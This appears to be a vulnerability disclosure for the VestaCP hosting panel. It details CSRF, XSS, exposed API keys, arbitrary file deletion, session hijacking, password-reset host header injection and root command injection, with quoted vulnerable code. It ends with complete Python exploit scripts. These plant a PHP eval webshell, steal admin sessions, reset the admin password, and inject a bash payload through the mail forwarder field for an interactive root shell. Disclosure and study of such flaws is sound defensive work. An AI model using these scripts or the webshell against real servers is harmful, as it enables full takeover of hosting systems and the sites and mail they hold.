TL;DR
Find out how multiple vulnerabilities in VestaCP allow remote attackers to take over the product.
Vulnerability Summary
While researching VestaCP source code, multiple critical vulnerabilities have been found, when chained together they would lead to RCE’s and LPE’s as Admin and eventually obtain root
CVE
TBD
Credit
Two independent security researchers, rekter0 and 0xkasper, have reported this to the SSD Secure Disclosure program.
Affected Versions
- VestaCP 1.0.0-5 (latest)
Vendor Response
We have reached out to VestaCP dev team view email but have not received any kind of response.
Vulnerability Analysis
FileManager CSRF
Details
Each Hosting account including admin account have access to a file manager where they could Add / Rename / Copy / Move / Archive / Extract / Backup / Delete / Chmod files and/or directories that are within their /home
directory.
/web/file_manager/fm_api.php
$fm = new FileManager($user); $fm->setRootDir($panel[$user]['HOME']); $_REQUEST['action'] = empty($_REQUEST['action']) ? '' : $_REQUEST['action']; switch ($_REQUEST['action']) { case 'cd': $dir = $_REQUEST['dir']; print json_encode($fm->ls($dir)); break; case 'check_file_type': $dir = $_REQUEST['dir']; print json_encode($fm->checkFileType($dir)); break; case 'rename_file': $dir = $_REQUEST['dir']; $item = $dir . '/' . $_REQUEST['item']; $target_name = $dir . '/' . $_REQUEST['target_name']; print json_encode($fm->renameFile($item, $target_name)); break; case 'rename_directory': $dir = $_REQUEST['dir']; $item = $dir.$_REQUEST['item']; $target_name = $dir.$_REQUEST['target_name']; print json_encode($fm->renameDirectory($item, $target_name)); break; case 'move_file': $item = $_REQUEST['item']; $target_name = $_REQUEST['target_name']; print json_encode($fm->renameFile($item, $target_name)); break; case 'move_directory': $item = $_REQUEST['item']; $target_name = $_REQUEST['target_name']; print json_encode($fm->renameDirectory($item, $target_name)); break; case 'delete_files': $dir = $_REQUEST['dir']; $item = $_REQUEST['item']; print json_encode($fm->deleteItem($dir, $item)); break; case 'create_file': $dir = $_REQUEST['dir']; $filename = $_REQUEST['filename']; print json_encode($fm->createFile($dir, $filename)); break; case 'create_dir': $dir = $_REQUEST['dir']; $dirname = $_REQUEST['dirname']; print json_encode($fm->createDir($dir, $dirname)); break; case 'open_file': $dir = $_REQUEST['dir']; print json_encode($fm->open_file($dir)); break; case 'copy_file': $dir = $_REQUEST['dir']; $target_dir = $_REQUEST['dir_target']; $filename = $_REQUEST['filename']; $item = $_REQUEST['item']; print json_encode($fm->copyFile($item, $dir, $target_dir, $filename)); break; case 'copy_directory': $dir = $_REQUEST['dir']; $target_dir = $_REQUEST['dir_target']; $filename = $_REQUEST['filename']; $item = $_REQUEST['item']; print json_encode($fm->copyDirectory($item, $dir, $target_dir, $filename)); break; case 'unpack_item': $dir = $_REQUEST['dir']; $target_dir = $_REQUEST['dir_target']; $filename = $_REQUEST['filename']; $item = $_REQUEST['item']; print json_encode($fm->unpackItem($item, $dir, $target_dir, $filename)); break; case 'pack_item': $items = $_REQUEST['items']; $dst_item = $_REQUEST['dst_item']; print json_encode($fm->packItem($items, $dst_item)); break; case 'backup': $path = $_REQUEST['path']; print json_encode($fm->backupItem($path)); break; case 'chmod_item': $dir = $_REQUEST['dir']; $item = $_REQUEST['item']; $permissions = $_REQUEST['permissions']; print json_encode($fm->chmodItem($dir, $item, $permissions)); break; default: //print json_encode($fm->init()); break; }
FileManager API rely on [$_REQUEST], which could be supplied via `GET|POST|COOKIE` user input.
This potentially leading to 13 High severity CSRF vulnerabilities in dangerous functionalities if abused by an attacker
chmod_item | backup | pack_item | unpack_item | copy_directory | copy_file | open_file | create_dir | create_file | delete_files | move_directory | move_file | rename_directory | rename_file
.
Reflected XSS
Edit Web
While most API calls are specifying Content-Type
HTTP header to be application/json
, call to /v1/edit/web
was found to not specify one, making PHP by default set it to text/html
.
/web/api/v1/edit/web/index.php
[...] > $v_domain = escapeshellarg($_GET['domain']); [...] $result = array( 'username' => $v_username, > 'domain' => $v_domain, [...] ); echo json_encode($result);
GET parameter domain
is processed only by escapeshellarg() this would escape only single quotes '
and backslash \
potentially leading to reflected XSS
Edit File
Edit file API call also doesn’t explicitly set content-type
header
if (!empty($_REQUEST['path'])) { $content = ''; $path = $_REQUEST['path']; [...] > exec (VESTA_CMD . "v-open-fs-file {$user} ".escapeshellarg($path), $content, $return_var); if ($return_var != 0) { $error = 'Error while opening file'; // todo: handle this more styled exit; } > $content = implode("\n", $content)."\n"; } else { $content = ''; } $result = array( 'error' => $error, > 'content' => $content ); >echo json_encode($result);
This will print file content, a malicious Vesta User could write an XSS payload into a file in a directory they control Ex: /tmp, and use this functionality to trigger the XSS to target another Vesta user.
Directory Preview
As this is a paid plugin, so it would not be enabled by default.
/web/api/v1/list/directory/preview/index.php
if ((!isset($_SESSION['FILEMANAGER_KEY'])) || (empty($_SESSION['FILEMANAGER_KEY']))) { header("Location: /filemanager-not-purchased/"); exit; } [...] > $path_a = !empty($_REQUEST['dir_a']) ? $_REQUEST['dir_a'] : ''; > $path_b = !empty($_REQUEST['dir_b']) ? $_REQUEST['dir_b'] : ''; > $GLOBAL_JS = '<script type="text/javascript">GLOBAL.START_DIR_A = "' . $path_a . '";</script>'; > $GLOBAL_JS .= '<script type="text/javascript">GLOBAL.START_DIR_B = "' . $path_b . '";</script>';
Both parameters dir_a
and dir_b
are user input from $_REQUEST
and getting reflected inside of script tag without proper sanitization leading to reflected XSS.
Vesta WEBAPI
Vesta has another API interface that is designed to be an alternative interface or to be integrated within another application or script https://vestacp.com/docs/api/
/web/api/v1/index.php
or /web/api/index.php
> if (isset($_POST['user']) || isset($_POST['hash'])) { // Authentication > if (empty($_POST['hash'])) { > if ($_POST['user'] != 'admin') { echo 'Error: authentication failed'; exit; }
This API is accessible only via an API key or via admin account [user/password].
Security Misconfigurations
API Keys
Vesta WEB API could be authenticated via Admin account as well as API keys.
/web/api/v1/index.php
or /web/api/index.php
> $key = '/usr/local/vesta/data/keys/' . basename($_POST['hash']); > if (file_exists($key) && is_file($key)) { > exec(VESTA_CMD ."v-check-api-key ".escapeshellarg($key)." ".$v_ip, $output, $return_var); unset($output); // Check API answer if ( $return_var > 0 ) { echo 'Error: authentication failed'; exit; } } else { $return_var = 1; }
/bin/v-check-api-key
if [ -z "$1" ]; then echo "Error: key missmatch" exit 9 fi key=$(basename $1) [...] if [ ! -e $VESTA/data/keys/$key ]; then echo "Error: key missmatch" echo "$date $time api $ip failed to login" >> $VESTA/log/auth.log exit 9 fi
API key is filename of any of the files that exists in directory /usr/local/vesta/data/keys/
.
By default there’s no API key, but they could be generated using v-generate-api-key
Vesta script.
/bin/v-generate-api-key
[...] KEYS='/usr/local/vesta/data/keys/' HASH=$(keygen) [...] if [ ! -d ${KEYS} ]; then mkdir ${KEYS} fi [...] touch ${KEYS}${HASH}
This script could be only executed with admin account via API or from CLI with admin or root accounts.
ls -lia /usr/local/vesta/data/keys/ total 8 1810549 drwxr-xr-x 2 root root 4096 Dec 3 13:41 . 1816654 drwxr-xr-x 10 root root 4096 Dec 3 13:41 .. 1817104 -rw-r--r-- 1 root root 0 Dec 3 13:41 lP-mK-rIEuJSfBQyycQuxKDLzfUKh78M
The created files would have bad permission that are readable by any user on the system leading to LPE.
Arbitrary Directory delete as root
When a Vesta user changes their stats settings to none it invokes v-delete-web-domain-stats
.
/web/api/v1/edit/web/index.php
# Defining statistic dir stats_dir="$HOMEDIR/$user/web/$domain/stats" # Deleting dir content rm -rf $stats_dir/*
a Vesta user can symlink the target directory to their home dir domain stats directory and then change their stats settings to none this would lead to deleting the directory with root privileges since constant VESTA_CMD invokes the script with sudo.
define('VESTA_CMD', '/usr/bin/sudo /usr/local/vesta/bin/');
Upload handler
Vesta has an API for file uploads accessible to any Vesta user including low privileged users accessible from /api/v1/upload
Vesta Upload handler is an altered version of jQuery file upload plugin that could be found here: https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php
/web/api/v1/upload/UploadHandler.php
protected function initialize() { switch ($this->get_server_var('REQUEST_METHOD')) { case 'OPTIONS': case 'HEAD': $this->head(); break; case 'GET': $this->get(); break; case 'PATCH': case 'PUT': case 'POST': $this->post(); break; case 'DELETE': $this->delete(); break; default: $this->header('HTTP/1.1 405 Method Not Allowed'); } }
The upload handler process the request according to the HTTP method and supplied parameters.
dir parameter
Function get_upload_path
is used almost by every file handling functionality in upload handler to determine the working directory.
/web/api/v1/upload/UploadHandler.php
protected function get_upload_path($file_name = null, $version = null) { > $relocate_directory = $_GET['dir']; if (empty($relocate_directory)) { $relocate_directory = '/home/admin/'; // fallback dir } if ($relocate_directory[strlen($relocate_directory) -1] != '/') { $relocate_directory .= '/'; } $file_name = $file_name ? $file_name : ''; if (empty($version)) { $version_path = ''; } else { $version_dir = @$this->options['image_versions'][$version]['upload_dir']; if ($version_dir) { return $version_dir.$this->get_user_path().$file_name; } $version_path = $version.'/'; } //return $this->options['upload_dir'].$this->get_user_path() // .$version_path.$file_name; return $relocate_directory .$version_path.$file_name; }
dir
GET parameter was found to bypass the intended function use.
Arbitrary Directory files listing
When upload handler is called with GET
http method it is processed with get()
function
/web/api/v1/upload/UploadHandler.php
public function get($print_response = true) { if ($print_response && isset($_GET['download'])) { return $this->download(); } $file_name = $this->get_file_name_param(); if ($file_name) { $response = array( $this->get_singular_param_name() => $this->get_file_object($file_name) ); } else { $response = array( $this->options['param_name'] => $this->get_file_objects() ); } return $this->generate_response($response, $print_response); }
functions get_file_object
and get_file_objects
rely on get_upload_path
enabling us to get a files listing on an arbitrary directory of our choosing that is accessible by unix admin
user.
This could lead to sensitives files names disclosure including API keys.
Vesta PHP Sessions directory /usr/local/vesta/data/sessions
has sessions with admin:admin
permissions enabling an arbitrary Vesta user to obtain session IDs for any logged in Vesta user.
/web/inc/main.php
// Saving user IPs to the session for preventing session hijacking >$user_combined_ip = $_SERVER['REMOTE_ADDR']; if(isset($_SERVER['HTTP_CLIENT_IP'])){ $user_combined_ip .= '|'. $_SERVER['HTTP_CLIENT_IP']; } if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $user_combined_ip .= '|'. $_SERVER['HTTP_X_FORWARDED_FOR']; } if(isset($_SERVER['HTTP_FORWARDED_FOR'])){ $user_combined_ip .= '|'. $_SERVER['HTTP_FORWARDED_FOR']; } if(isset($_SERVER['HTTP_X_FORWARDED'])){ $user_combined_ip .= '|'. $_SERVER['HTTP_X_FORWARDED']; } if(isset($_SERVER['HTTP_FORWARDED'])){ $user_combined_ip .= '|'. $_SERVER['HTTP_FORWARDED']; } >if(!isset($_SESSION['user_combined_ip'])){ > $_SESSION['user_combined_ip'] = $user_combined_ip; >} // Checking user to use session from the same IP he has been logged in >if($_SESSION['user_combined_ip'] != $user_combined_ip && $_SERVER['REMOTE_ADDR'] != '127.0.0.1'){ session_destroy(); session_start(); $_SESSION['request_uri'] = $_SERVER['REQUEST_URI']; header("Location: /login/"); exit; }
Sessions are tied to the original IP that logged in, but it could be bypassed when requests are originating from 127.0.0.1.
Arbitrary file delete
HTTP method DELETE
for upload handler will delete files from files[] array.
/web/api/v1/upload/UploadHandler.php
public function delete($print_response = true) { $file_names = $this->get_file_names_params(); if (empty($file_names)) { $file_names = array($this->get_file_name_param()); } $response = array(); foreach($file_names as $file_name) { $file_path = $this->get_upload_path($file_name); $success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); if ($success) { foreach($this->options['image_versions'] as $version => $options) { if (!empty($version)) { $file = $this->get_upload_path($file_name, $version); if (is_file($file)) { unlink($file); } } } } $response[$file_name] = $success; } return $this->generate_response($response, $print_response); } }
Since the panel is running with admin
user privileges, this will delete an arbitrary file where UNIX user admin
has permission.
Host Header Injection
Host header injection password reset functionality.
In /web/api/v1/reset/index.php
on line 35:
$mailtext .= __('PASSWORD_RESET_REQUEST',$_SERVER['HTTP_HOST'],$user,$rkey,$_SERVER['HTTP_HOST'],$user,$rkey);
Request’s Host header is put as host in the password reset link that is send to the user.
Command injection as root
The function update_object_value
from /func/main.sh
uses eval as root.
pdate_object_value() { row=$(grep -nF "$2='$3'" $USER_DATA/$1.conf) lnr=$(echo $row | cut -f 1 -d ':') object=$(echo $row | sed "s/^$lnr://") eval "$object" eval old="$4" old=$(echo "$old" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/\//\\\//g') new=$(echo "$5" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/\//\\\//g') sed -i "$lnr s/${4//$/}='${old//\*/\\*}'/${4//$/}='${new//\*/\\*}'/g" \ $USER_DATA/$1.conf }
This sink could be reached by multiple vesta functionality, some of which email forwarders which are not properly sanitized
/web/api/v1/edit/mail/index.php
foreach ($result as $forward) { if ((empty($_SESSION['error_msg'])) && (!empty($forward))) { exec (VESTA_CMD."v-add-mail-account-forward ".$v_username." ".$v_domain." ".$v_account." ".escapeshellarg($forward), $output, $return_var); check_return_code($return_var,$output); unset($output); } } [...] if (($v_fwd_only != 'yes') && (!empty($_POST['v_fwd_only'])) && (empty($_SESSION['error_msg']))) { exec (VESTA_CMD."v-add-mail-account-fwd-only ".$v_username." ".$v_domain." ".$v_account, $output, $return_var); check_return_code($return_var,$output); unset($output); $v_fwd_only = 'yes'; }
/web/api/v1/add/mail/index.php
if ((!empty($_POST['v_fwd'])) && (empty($_SESSION['error_msg']))) { $vfwd = preg_replace("/\n/", " ", $_POST['v_fwd']); $vfwd = preg_replace("/,/", " ", $vfwd); $vfwd = preg_replace('/\s+/', ' ',$vfwd); $vfwd = trim($vfwd); $fwd = explode(" ", $vfwd); foreach ($fwd as $forward) { $forward = escapeshellarg($forward); if (empty($_SESSION['error_msg'])) { exec (VESTA_CMD."v-add-mail-account-forward ".$user." ".$v_domain." ".$v_account." ".$forward, $output, $return_var); check_return_code($return_var,$output); unset($output); } } } // Add fwd_only flag if ((!empty($_POST['v_fwd_only'])) && (empty($_SESSION['error_msg']))) { exec (VESTA_CMD."v-add-mail-account-fwd-only ".$user." ".$v_domain." ".$v_account, $output, $return_var); check_return_code($return_var,$output); unset($output); }
Exploit
VestaFuncs.py
import requests import re import json import socket from urllib.parse import urlparse import random import string import base64 from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def resetPassword(username,targetHost,rkey): newPassword = get_random_string() r = requests.post(targetHost + '/api/v1/reset/index.php', verify=False, data={'password':newPassword,'password_confirm':newPassword, 'user':username,'code':rkey}) if '"error":null,' in r.text: return newPassword else: return False def checkSessions(us,targetHost,ipFromHostname,sessions,pwnDomain): for i in sessions: qTry = queryWebshell('echo `curl -k "https://127.0.0.1:'+str(urlparse(targetHost).port)+'/api/v1/login/session.php" -H "Cookie: PHPSESSID='+i+';" `;',ipFromHostname,pwnDomain) if '"root_dir":"\\/home\\/admin"' in qTry: print('[++] Admin session found ') return i,qTry print('[!] no admin session found') return False def getSessIDs(us,targetHost,SessID): r = us.get(targetHost + '/api/v1/upload/index.php?dir=/usr/local/vesta/data/sessions', verify=False) try: if '{"files":' in r.text: myList = [] for i in r.json()['files']: if SessID not in i['name']: myList.append(i['name'].replace('sess_','')) return myList else: print('Getting Sessions list Error') return False except Exception as e: print(str(e)) return False def getIPfromHostname(hostn): return socket.gethostbyname(urlparse(hostn).hostname) def get_random_string(length=10): letters = string.ascii_letters+string.digits result_str = ''.join(random.choice(letters) for i in range(length)) return result_str def getSession(us,targetHost,ss=1): sessPath ='/api/v1/login/index.php' if ss == 2: sessPath = '/api/v1/login/session.php' r = us.get(targetHost + sessPath, verify=False) try: if '"token":"' in r.text: return r.json() else: print('Getting own session data error') exit() except Exception as e: print(str(e)) exit() def login(us,targetHost,login,passwd): try: r = us.post(targetHost + '/api/v1/login/index.php', verify=False, data={'user':login,'password':passwd,'token':getSession(us,targetHost)['token']}) if r.text: print('[+] Logged in as '+login) return True else: return False except Exception as e: print(str(e)) return False def logout(us,targetHost): r = us.get(targetHost + '/api/v1/logout/index.php', verify=False) print('[+] Logged out ') def getWebshell(us,targetHost,shellHost,username,ipFromHostname): #r = us.get(targetHost + '/api/v1/delete/web/index.php?domain='+shellHost+'&token='+getSession(us,targetHost,2)['token'],verify=False) r = us.get(targetHost + '/api/v1/list/web/index.php', verify=False) if shellHost not in r.text: print('[!] '+shellHost+' not found, creating one...') r = us.get(targetHost + '/api/v1/add/web/index.php', verify=False) try: webConf = r.json() ## Checking if IPs match if ipFromHostname not in r.text: print('[!] IP mismatch, select an appropriate IP for the '+shellHost) confIPsList = [] count = 0 for i in webConf['ips']: confIPsList.append(i) print('\t['+str(count)+'] '+i) count+=1 selectedIP = confIPsList[int(input('\t> '))] else: selectedIP = ipFromHostname r2 = us.post(targetHost + '/api/v1/add/web/index.php' , verify=False, data={"ok": "add", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_ip": selectedIP, "v_aliases": "www."+shellHost, "v_dns": "on", "v_mail": "on", "v_proxy": "on", "v_proxy_ext": webConf['proxy_ext']}) if 'has been created successfully' in r2.text: print('[+] '+shellHost+' added') except Exception as e: print(str(e)) return False print('[+] '+shellHost+' found, looking up webshell') checkWS = queryWebshell('echo HelloVestaPWN3647387238263784;',ipFromHostname,shellHost) if('HelloVestaPWN3647387238263784' not in checkWS): print('[!] webshell not found, creating one..') r = us.post(targetHost+'/api/v1/upload/?dir=/home/'+username+'/web/'+shellHost+'/public_html',verify=False,files = {'files': ('ownwebshell.php', '<?php\nif(@$_GET["password"]!="e43c9f07ed59712efa492aa0ae259cd0") exit();\neval($_GET["e"]);')} ) if('"name":"ownwebshell.php"' in r.text): print('[+] Webshell uploaded') return True else: print('[!] webshell upload error') return False else: print('[+] '+username+' webshell found') return True def createMailBox(us,targetHost,shellHost,isDebug): mailAccount = get_random_string().lower() mailPassword = get_random_string() r = us.get(targetHost + '/api/v1/delete/mail/index.php?domain='+shellHost+'&token='+getSession(us,targetHost,2)['token'],verify=False) r = us.get(targetHost + '/api/v1/list/mail/index.php', verify=False) if shellHost in r.text: if isDebug: print('[+] Mail domain found') else: if isDebug: print('[!] Mail domain not found, creating one..') r2 = us.post(targetHost + '/api/v1/add/mail/index.php', verify=False, data={"ok": "add", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_antispam": "on", "v_antivirus": "on", "v_dkim": "on"}) if '"error_msg":null' in r2.text: if isDebug: print('[+] Mail domain created') else: print('[!] mail domain creating error') return False r = us.post(targetHost + '/api/v1/add/mail/index.php?domain='+shellHost,verify=False, data={"v_domain": shellHost, "v_account": mailAccount, "v_password": mailPassword, "Username": "@"+shellHost, "v_credentials": '', "ok_acc": "add", "token": getSession(us,targetHost,2)['token'], "Password": mailPassword}) if '"error_msg":null' in r.text: if isDebug: print('[+] Mail account created') return {'account':mailAccount,'password':mailPassword} else: print('[!] creating new mail failed ..') return False def editMailBox(us,targetHost,shellHost,Vaccount,payload,isDebug=True): r = us.post(targetHost + '/api/v1/edit/mail/index.php?domain='+shellHost+'&account='+Vaccount,verify=False, data={"save": "save", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_password": '', "v_quota": "unlimited", "v_aliases": '', "v_fwd": payload, "v_credentials": '', "Username": "@"+shellHost, "v_account": Vaccount, "Password": ''}) if '"ok_msg":"Changes have been saved."' in r.text: return True else: if isDebug: print('[!] mailbox edit failed ..') return False def b64en(strr): return base64.b64encode(strr.encode('utf-8')).decode('utf-8') def deploycommand(cmd,ipFromHostname,pwnDomain): queryWebshell('echo `pwd;mkdir -p ./iamroot;`;',ipFromHostname,pwnDomain) queryWebshell('`printf '+b64en(cmd)+'|base64 -d > ./iamroot/cmdtoexec`;',ipFromHostname,pwnDomain) def queryWebshell(cmd,ipFromHostname,shellHost='vestapwn.poc'): r = requests.get('http://'+ipFromHostname+'/ownwebshell.php?password=e43c9f07ed59712efa492aa0ae259cd0&e='+cmd,headers={'Host':shellHost},verify=False) return r.text
vestaATO.py
from VestaFuncs import * import sys import time period = 0.5 if len(sys.argv) == 4: targetHost = sys.argv[1] targetUser = sys.argv[2] targetPass = sys.argv[3] else: print("Usage\npython3 vestaROOT.py https://target_host:8083 user_login user_pass") exit() ipFromHostname = getIPfromHostname(targetHost) pwnDomain = get_random_string().lower()+'.poc' pwnDomainAdmin = get_random_string().lower()+'.poc' while True: ## init user session uus = requests.Session() ## Login if login(uus,targetHost,targetUser,targetPass): usID = uus.cookies.get_dict()['PHPSESSID'] ## Check own webshell if getWebshell(uus,targetHost,pwnDomain,targetUser,ipFromHostname): ## Get other sessions IDs oSessIDs = getSessIDs(uus,targetHost,usID) if oSessIDs: print('[+] Obtained Sessions list : '+str(len(oSessIDs))) ## Check other sessions IDs adminSession = checkSessions(uus,targetHost,ipFromHostname,oSessIDs,pwnDomain) ## Admin session found if(adminSession): adminJSON = json.loads(adminSession[1]) ## Reset key found if adminJSON['data']['RKEY']: ## Change admin password print('[+] admin RKEY '+adminJSON['data']['RKEY']) newAdminPassword = resetPassword('admin',targetHost, adminJSON['data']['RKEY']) if(newAdminPassword): print('[+] New admin account password ' +newAdminPassword) ## Login as admin uus2 = requests.Session() if login(uus2,targetHost,'admin',newAdminPassword): ## Check own webshell uWebshell = getWebshell(uus2,targetHost,pwnDomainAdmin,'admin',ipFromHostname) logout(uus2,targetHost) if 'admin' in queryWebshell('echo `whoami` ;',ipFromHostname,pwnDomainAdmin): queryWebshell('`mkdir -p ./func;echo "bash -c \\"\\\\$1\\"\nexit" > ./func/main.sh;` ;',ipFromHostname,pwnDomainAdmin) while True: print(queryWebshell('echo `VESTA=$(pwd) sudo /usr/local/vesta/bin/v-list-backup-host "'+input('# ').replace('"','\\"')+'"`;',ipFromHostname,pwnDomainAdmin)) else: print('[!] Admin webshell not found ??') else: print('[!] admin password reset failed') else: print('[!] RKEY not found??') else: print('[!] no admin session found, restarting ..') ## Logout logout(uus,targetHost) time.sleep(period)
vestaROOT.py
from VestaFuncs import * import sys if len(sys.argv) == 4: targetHost = sys.argv[1] targetUser = sys.argv[2] targetPass = sys.argv[3] else: print("Usage\npython3 vestaROOT.py https://target_host:8083 user_login user_pass") exit() ipFromHostname = getIPfromHostname(targetHost) pwnDomain = get_random_string().lower()+'.poc' ## init user session uus = requests.Session() ## Login if login(uus,targetHost,targetUser,targetPass): ## Check own webshell if getWebshell(uus,targetHost,pwnDomain,targetUser,ipFromHostname): ## Check, delete and create mailbox on pwnDomain mailBox = createMailBox(uus,targetHost,pwnDomain,True) if(mailBox): eMailBox = editMailBox(uus,targetHost,pwnDomain,mailBox['account'],'testPayload') if(eMailBox): ## Deploy backdoor if editMailBox(uus,targetHost,pwnDomain,mailBox['account'],"';bash</home/"+targetUser+"/web/"+pwnDomain+"/public_html/iamroot/cmdtoexec>/home/"+targetUser+"/web/"+pwnDomain+"/public_html/iamroot/cmdresult;A='"): print('[+] root shell possibly obtained') while True: ucmd = input('# ') deploycommand(ucmd,ipFromHostname,pwnDomain) editMailBox(uus,targetHost,pwnDomain,mailBox['account'],"foobar",False) print(queryWebshell('echo `cat ./iamroot/cmdresult;`;',ipFromHostname,pwnDomain)) ## Logout logout(uus,targetHost) print('[+] Logged out')
Demo